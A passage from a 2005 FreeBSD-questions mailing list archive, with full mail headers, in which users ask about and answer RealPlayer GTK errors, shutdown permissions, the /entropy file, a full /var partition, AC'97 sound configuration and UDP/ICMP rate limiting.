code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/volume_off.png' > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/volume_low.png' > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/volume_mid.png' > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/volume_high.png' > > ** (realplay.bin:94093): WARNING **: No builtin or dynamically loaded > modules > were found. Pango will not work correctly. This probably means > there was an error in the creation of: > '/etc/pango/pango.modules' > You may be able to recreate this file by running pango-querymodules. > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-GObject-CRITICAL **: file gobject.c: line > 1337 (g_object_unref): assertion `G_IS_OBJECT (object)' failed > > > It launches but all of the buttons have x's in them and all of the text > appears to be gone from the UI. Any clue what might cause this and how > to fix it? > > Thanks > > /Brian > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 11:49:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0BC6516A4CE for ; Mon, 7 Feb 2005 11:49:25 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 87A1943D48 for ; Mon, 7 Feb 2005 11:49:25 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1Cy7OM-0004vS-Ju for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 11:49:24 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1Cy7OM-000G0M-Ek for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 11:49:22 +0000 Date: Mon, 7 Feb 2005 11:49:22 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050207114922.GJ473@eris.tenfour> References: <200502061646.27199.nedsmailbox2@cox.net> <4206A22E.8080902@gizm0.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4206A22E.8080902@gizm0.org> User-Agent: Mutt/1.4.2.1i Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 11:49:26 -0000 * Steven [0203 23:03]: > Hello Ned, > > you can add the user to the operator group. it is possible to run > shutdown then (but not halt etc). Be caneful of that, I think operator has other privileges too (can read from any disk for starters). > You could also create a shutdown user with a login shell pointing to a > shutdown script. But that won't work if they still don't have permission to run it... -- '...and then we wrote scripts to write the configs for us, and using these scripts, we made mistakes in a faster, more automated manner.' -- A Gentle Introduction to Cricket, on MRTG configuration Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 12:26:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 97BE316A4CE for ; Mon, 7 Feb 2005 12:26:19 +0000 (GMT) Received: from tomts16-srv.bellnexxia.net (tomts16-srv.bellnexxia.net [209.226.175.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id EADD043D39 for ; Mon, 7 Feb 2005 12:26:18 +0000 (GMT) (envelope-from james.cook@utoronto.ca) Received: from angel.falsifian.afraid.org ([65.94.58.236]) by tomts16-srv.bellnexxia.netSMTP <20050207122617.XRTB1836.tomts16-srv.bellnexxia.net@angel.falsifian.afraid.org> for ; Mon, 7 Feb 2005 07:26:17 -0500 Received: by angel.falsifian.afraid.org (sSMTP sendmail emulation); Mon, 7 Feb 2005 07:27:28 -0500 Date: Mon, 7 Feb 2005 07:27:28 -0500 From: James Alexander Cook To: freebsd-questions@freebsd.org Message-ID: <20050207122728.GA25945@angel.falsifian.afraid.org> References: <200502061646.27199.nedsmailbox2@cox.net> <4206A22E.8080902@gizm0.org> <20050207114922.GJ473@eris.tenfour> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050207114922.GJ473@eris.tenfour> User-Agent: Mutt/1.4.2.1i Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 12:26:19 -0000 On Mon, Feb 07, 2005 at 11:49:22AM +0000, Dick Davies wrote: > * Steven [0203 23:03]: > > Hello Ned, > > > > you can add the user to the operator group. it is possible to run > > shutdown then (but not halt etc). > > Be caneful of that, I think operator has other privileges too > (can read from any disk for starters). > > > > You could also create a shutdown user with a login shell pointing to a > > shutdown script. > > But that won't work if they still don't have permission to run it... > What if you put the shutdown user in the operator group? I don't plan to use this solution, but out of curiousity, are there any security problems with creating a privileged user with a widely known password but a login shell that does something specific, like shutting down the system? - James Cook james.cook@utoronto.ca From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 12:29:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D074E16A4CE for ; Mon, 7 Feb 2005 12:29:03 +0000 (GMT) Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60D9343D3F for ; Mon, 7 Feb 2005 12:29:03 +0000 (GMT) (envelope-from Jan.Grant@bristol.ac.uk) Received: from mail.ilrt.bris.ac.uk ([137.222.16.62]) by dire.bris.ac.uk with esmtp (Exim 4.44) id 1Cy7xh-0000Eb-Ce; Mon, 07 Feb 2005 12:26:38 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 4.44) id 1Cy7xb-0001ew-To; Mon, 07 Feb 2005 12:25:48 +0000 Date: Mon, 7 Feb 2005 12:25:47 +0000 (GMT) From: Jan Grant X-X-Sender: cmjg@mail.ilrt.bris.ac.uk To: Jay Moore In-Reply-To: <200502061721.27613.jaymo@cromagnon.cullmail.com> Message-ID: References: <200502061721.27613.jaymo@cromagnon.cullmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Jan Grant X-Spam-Score: 0.0 X-Spam-Level: / cc: freebsd-questions@freebsd.org cc: Gert Cuykens Subject: Re: what is /entrophy ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 12:29:03 -0000 On Sun, 6 Feb 2005, Jay Moore wrote: > On Wednesday 02 February 2005 05:52 am, Gert Cuykens wrote: > > > what is /entrophy ? can i delete it ? > > I believe it is a mis-spelled version of /entropy Your computer attempts to collect "randomness" by sampling the timings of various physical events. That's what the /dev/random device provides: this kernel-harvested randomness. Various cryptographic systems require a supply of "good" random numbers in order to operate. When the machine first boots, the kernel's entropy pool is empty. It would consequently take potentially quite a few minutes to harvest sufficient randomness from interrupts in order to satisfy the needs of such things as sshd. The solution is the /entropy file: when the machine shuts down, it saves "spare" random bits that have not yet been used into this file. On reboot, the kernel's random pool is reinitialised using these "spare" bits. Assuming nobody's sneaked a peek at them in the itme the machine's been turned off, this is a reasonable way to quickly satisfy the startup requirements for randomness. -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287864 or +44 (0)117 9287088 http://ioctl.org/jan/ You see what happens when you have fun with a stranger in the Alps? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 12:49:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D72BE16A4CE for ; Mon, 7 Feb 2005 12:49:28 +0000 (GMT) Received: from mail.iinet.net.au (mail-07.iinet.net.au [203.59.3.39]) by mx1.FreeBSD.org (Postfix) with SMTP id 757DC43D53 for ; Mon, 7 Feb 2005 12:49:27 +0000 (GMT) (envelope-from shinjii@virusinfo.rdksupportinc.com) Received: (qmail 27778 invoked from network); 7 Feb 2005 12:48:52 -0000 Received: from unknown (HELO warren.shinji.nq.nu) (203.206.228.43) by mail.iinet.net.au with SMTP; 7 Feb 2005 12:48:52 -0000 From: Warren To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 22:48:41 +1000 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> Subject: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 12:49:28 -0000 im trying to get cacti working, but since im using a small P2 300 machine with a small hdd my /var has suddenly become full and im wodering what is safe and not safe so to speak to del in the /var dir .. the following are the dir's i have. drwxr-xr-x 2 root wheel 512 Feb 24 2004 account drwxr-xr-x 4 root wheel 512 Aug 8 2004 at drwxr-x--- 2 root wheel 512 Feb 5 03:01 backups drwxr-x--- 2 root wheel 512 Aug 8 2004 crash drwxr-x--- 3 root wheel 512 Aug 8 2004 cron drwxr-xr-x 10 root wheel 512 Feb 6 20:51 db dr-xr-xr-x 2 root wheel 512 Feb 24 2004 empty drwx------ 2 root wheel 512 Feb 24 2004 heimdal drwxr-xr-x 2 root wheel 512 Feb 7 03:09 log drwxrwxr-x 3 root mail 512 Feb 4 21:41 mail drwxr-xr-x 2 daemon wheel 512 Aug 8 2004 msgs drwxr-xr-x 5 root wheel 512 Oct 3 22:26 named drwxr-xr-x 2 root wheel 512 Feb 24 2004 preserve drwxr-xr-x 5 root wheel 512 Feb 5 12:15 run drwxrwxr-x 2 root daemon 512 Feb 24 2004 rwho drwx--x--- 4 root uucp 512 Jan 21 22:40 smtpd drwxr-xr-x 8 root wheel 512 Aug 8 2004 spool drwxrwxrwt 7 root wheel 512 Feb 6 19:52 -- Yours Sincerely Shinjii http://www.shinji.nq.nu From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:20:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B402416A4CE for ; Mon, 7 Feb 2005 13:20:55 +0000 (GMT) Received: from mx4.mail.ru (fallback.mail.ru [194.67.57.14]) by mx1.FreeBSD.org (Postfix) with ESMTP id DE08A43D3F for ; Mon, 7 Feb 2005 13:20:54 +0000 (GMT) (envelope-from adil_18@mail.ru) Received: from f34.mail.ru (f34.mail.ru [194.67.57.73]) by mx4.mail.ru (mPOP.Fallback_MX) with ESMTP id E24D7178AE4 for ; Mon, 7 Feb 2005 16:12:23 +0300 (MSK) Received: from mail by f34.mail.ru with local id 1Cy8fZ-0006Zr-00; Mon, 07 Feb 2005 16:11:13 +0300 Received: from [217.64.30.81] by win.mail.ru with HTTP; Mon, 07 Feb 2005 16:11:13 +0300 From: aaa aaa To: questions@freebsd.org Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: 192.168.0.251, 62.212.228.67 via proxy [217.64.30.81] Date: Mon, 07 Feb 2005 16:11:13 +0300 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: cc: adilm@risk.az Subject: ac`97 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: aaa aaa List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:20:55 -0000 Please remind me how to write ac`97 in /boot/device.hints? FreeBSD 5.2.1 From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:20:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 51F5F16A4CE for ; Mon, 7 Feb 2005 13:20:57 +0000 (GMT) Received: from post-24.mail.nl.demon.net (post-24.mail.nl.demon.net [194.159.73.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0C8EA43D49 for ; Mon, 7 Feb 2005 13:20:57 +0000 (GMT) (envelope-from albi@scii.nl) Received: from aseed.demon.nl ([82.161.136.218]:9947 helo=mail.aseed.antenna.nl) by post-24.mail.nl.demon.net with esmtp (Exim 4.43) id 1Cy8oy-0009sQ-09; Mon, 07 Feb 2005 13:20:56 +0000 Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id 2613A15487E; Mon, 7 Feb 2005 14:21:54 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 7916D37022; Mon, 7 Feb 2005 14:20:56 +0100 (CET) Message-ID: <42076B31.1070704@scii.nl> Date: Mon, 07 Feb 2005 14:20:49 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Warren References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> In-Reply-To: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:20:57 -0000 Warren wrote: > im trying to get cacti working, but since im using a small P2 300 machine with > a small hdd my /var has suddenly become full and im wodering what is safe and > not safe so to speak to del in the /var dir .. the following are the dir's i > have. --- cut ---- > drwxr-xr-x 2 root wheel 512 Feb 7 03:09 log > drwxrwxr-x 3 root mail 512 Feb 4 21:41 mail these two directories are probably the ones you want to look at, some logfiles might have grown pretty big, and maybe there's loads of mail in /var/mail ? (switching to email for your users in their home-dirs is an idea) From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:26:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9354816A4D0 for ; Mon, 7 Feb 2005 13:26:58 +0000 (GMT) Received: from f17.mail.ru (f17.mail.ru [194.67.57.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id 38C3843D41 for ; Mon, 7 Feb 2005 13:26:58 +0000 (GMT) (envelope-from adil_18@mail.ru) Received: from mail by f17.mail.ru with local id 1Cy8um-000Pr3-00 for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 16:26:56 +0300 Received: from [217.64.30.81] by win.mail.ru with HTTP; Mon, 07 Feb 2005 16:26:56 +0300 From: aaa aaa To: freebsd-questions@freebsd.org Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: 192.168.0.251, 62.212.228.67 via proxy [217.64.30.81] Date: Mon, 07 Feb 2005 16:26:56 +0300 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: Subject: ac`97 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: aaa aaa List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:26:58 -0000 how to write ac`97 into /boot/device.hints From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:29:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7F36216A4CE for ; Mon, 7 Feb 2005 13:29:09 +0000 (GMT) Received: from mail.iinet.net.au (mail-04.iinet.net.au [203.59.3.36]) by mx1.FreeBSD.org (Postfix) with SMTP id 6CBB343D45 for ; Mon, 7 Feb 2005 13:29:08 +0000 (GMT) (envelope-from shinjii@virusinfo.rdksupportinc.com) Received: (qmail 306 invoked from network); 7 Feb 2005 13:29:07 -0000 Received: from unknown (HELO warren.shinji.nq.nu) (203.206.228.43) by mail.iinet.net.au with SMTP; 7 Feb 2005 13:29:07 -0000 From: Warren To: albi Date: Mon, 7 Feb 2005 23:28:54 +1000 User-Agent: KMail/1.7.2 References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <42076B31.1070704@scii.nl> In-Reply-To: <42076B31.1070704@scii.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502072328.55634.shinjii@virusinfo.rdksupportinc.com> cc: freebsd-questions@freebsd.org Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:29:09 -0000 On Mon, 7 Feb 2005 11:20 pm, albi wrote: > Warren wrote: > > im trying to get cacti working, but since im using a small P2 300 machine > > with a small hdd my /var has suddenly become full and im wodering what is > > safe and not safe so to speak to del in the /var dir .. the following are > > the dir's i have. > > --- cut ---- > > > drwxr-xr-x 2 root wheel 512 Feb 7 03:09 log > > drwxrwxr-x 3 root mail 512 Feb 4 21:41 mail > > these two directories are probably the ones you want to look at, some > logfiles might have grown pretty big, and maybe there's loads of mail in > /var/mail ? (switching to email for your users in their home-dirs is an > idea) Sadly neither the log dir nor mail had much in it since they where the 1st 2 i also thought of. -- Yours Sincerely Shinjii http://www.shinji.nq.nu From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:34:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F61C16A4CE for ; Mon, 7 Feb 2005 13:34:39 +0000 (GMT) Received: from post-22.mail.nl.demon.net (post-22.mail.nl.demon.net [194.159.73.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4B50443D54 for ; Mon, 7 Feb 2005 13:34:39 +0000 (GMT) (envelope-from albi@scii.nl) Received: from aseed.demon.nl ([82.161.136.218]:9951 helo=mail.aseed.antenna.nl) by post-22.mail.nl.demon.net with esmtp (Exim 4.43) id 1Cy92E-0007cT-6X; Mon, 07 Feb 2005 13:34:38 +0000 Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id 778B615487E; Mon, 7 Feb 2005 14:35:36 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id D2A0037022; Mon, 7 Feb 2005 14:34:38 +0100 (CET) Message-ID: <42076E67.5000901@scii.nl> Date: Mon, 07 Feb 2005 14:34:31 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Warren References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <42076B31.1070704@scii.nl> <200502072328.55634.shinjii@virusinfo.rdksupportinc.com> In-Reply-To: <200502072328.55634.shinjii@virusinfo.rdksupportinc.com> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:34:39 -0000 Warren wrote: > Sadly neither the log dir nor mail had much in it since they where the 1st 2 i > also thought of. what about /var/tmp ? also, a du -h /var might help From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:42:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F1B9416A4CE for ; Mon, 7 Feb 2005 13:42:48 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 429C943D53 for ; Mon, 7 Feb 2005 13:42:48 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [127.0.0.1] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 4FA4E3406CB; Mon, 7 Feb 2005 08:42:43 -0500 (EST) In-Reply-To: <20050207083428.GA22714@logik.ath.cx> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable From: Bart Silverstrim Date: Mon, 7 Feb 2005 08:42:41 -0500 To: markzero X-Mailer: Apple Mail (2.619.2) cc: freebsd-questions@freebsd.org Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:42:49 -0000 On Feb 7, 2005, at 3:34 AM, markzero wrote: >> * Erik Trulsson [2005-02-05 23:55 +0100] >>> Also keep in mind that if you leave the computer running all the=20 >>> time >>> it will show up on your electricity bill, so if you wish to save=20 >>> power >>> you should shut down your computer over night. >> >> Given that your house needs to be warmed up (a presumption I think is >> correct for Sweden as you appears to be sending from; it sure does = for >> Norway, I don't know about the OP), it does not matter where that = heat >> comes from. If your other heating is termostatically controlled, then >> running your computer all night long uses no less electricity than=20 >> leaving >> your heating on. Eventually, all those kWhs ends up as heat. You = might >> just as well use it for something usefull in the way from electric to >> thermic energy, and not just send your electrons through an electric >> resistance for nothing (except heat-generation)! >> > > Actually, I've found that five machines, each with two disks, onboard > graphics and sound, an average 700mhz P3 with a 250w power supply > haven't really made a dent on my electricity bill. In the summer of > last year, however, I bought an air conditioner and this added =A340 > (roughly $75) to my bill. I see I'm not the only one that thought of > using the servers AS the heating! My basement where my Apple G5 runs, during the cold snaps we've=20 recently had in PA, was typically ~50-55 degrees Farenheit. The=20 computer keeping itself warm was a bonus. As for electrical use, I remember I once needed to drain an APC UPS so=20= I hooked it up to a Christmas tree in the living room to run it down. =20= The load meter on the front, although it's a very very rough indicator=20= of load, had the same number of bars for the Xmas tree as it did for=20 the old PIII with monitor and some peripherals hooked up to it... From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:31:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F0A5A16A4CE for ; Sun, 6 Feb 2005 20:31:27 +0000 (GMT) Received: from web21201.mail.yahoo.com (web21201.mail.yahoo.com [216.136.129.59]) by mx1.FreeBSD.org (Postfix) with SMTP id BF5BA43D4C for ; Sun, 6 Feb 2005 20:31:27 +0000 (GMT) (envelope-from adriankok2000@yahoo.com.hk) Received: (qmail 99429 invoked by uid 60001); 6 Feb 2005 20:31:27 -0000 Message-ID: <20050206203127.99427.qmail@web21201.mail.yahoo.com> Received: from [142.154.97.134] by web21201.mail.yahoo.com via HTTP; Mon, 07 Feb 2005 04:31:27 CST Date: Mon, 7 Feb 2005 04:31:27 +0800 (CST) From: adrian kok To: questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Mon, 07 Feb 2005 13:45:41 +0000 Subject: control udp, icmp packets X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:31:28 -0000 Hi all I am running zebra in freebsd. but can I have feature like cisco iso? I got the document from cymru about icmp and udp as follows: I tried the dummynet but it is not working properly! If you have this experience about dummynet working fine in router, please share to me. Thank you ! Allow UDP to occupy no more than 2 Mb/s of the pipe. rate-limit input access-group 150 2010000 250000 250000 conform-action transmit exceed-action drop ! Allow ICMP to occupy no more than 500 Kb/s of the pipe. rate-limit input access-group 160 500000 62500 62500 conform-action transmit exceed-action drop ! Allow multicast to occupy no more than 5 Mb/s of the pipe. rate-limit input access-group 170 5000000 375000 375000 conform-action transmit exceed-action drop Thank you From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:32:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 32DE516A4CE for ; Sun, 6 Feb 2005 20:32:11 +0000 (GMT) Received: from web21205.mail.yahoo.com (web21205.mail.yahoo.com [216.136.131.248]) by mx1.FreeBSD.org (Postfix) with SMTP id 012DE43D45 for ; Sun, 6 Feb 2005 20:32:11 +0000 (GMT) (envelope-from adriankok2000@yahoo.com.hk) Received: (qmail 86073 invoked by uid 60001); 6 Feb 2005 20:32:10 -0000 Message-ID: <20050206203210.86071.qmail@web21205.mail.yahoo.com> Received: from [142.154.97.134] by web21205.mail.yahoo.com via HTTP; Mon, 07 Feb 2005 04:32:10 CST Date: Mon, 7 Feb 2005 04:32:10 +0800 (CST) From: adrian kok To: questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Mon, 07 Feb 2005 13:45:41 +0000 Subject: control udp, icmp packets X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:32:11 -0000 Hi all I am running zebra in freebsd. but can I have feature like cisco iso? I got the document from cymru about icmp and udp as follows: I tried the dummynet but it is not working properly! If you have this experience about dummynet working fine in router, please share to me. Thank you ! Allow UDP to occupy no more than 2 Mb/s of the pipe. rate-limit input access-group 150 2010000 250000 250000 conform-action transmit exceed-action drop ! Allow ICMP to occupy no more than 500 Kb/s of the pipe. rate-limit input access-group 160 500000 62500 62500 conform-action transmit exceed-action drop ! Allow multicast to occupy no more than 5 Mb/s of the pipe. rate-limit input access-group 170 5000000 375000 375000 conform-action transmit exceed-action drop Thank you From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 13:48:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A2BD416A4CE for ; Mon, 7 Feb 2005 13:48:49 +0000 (GMT) Received: from mail.iinet.net.au (mail-05.iinet.net.au [203.59.3.37]) by mx1.FreeBSD.org (Postfix) with SMTP id 7B64043D60 for ; Mon, 7 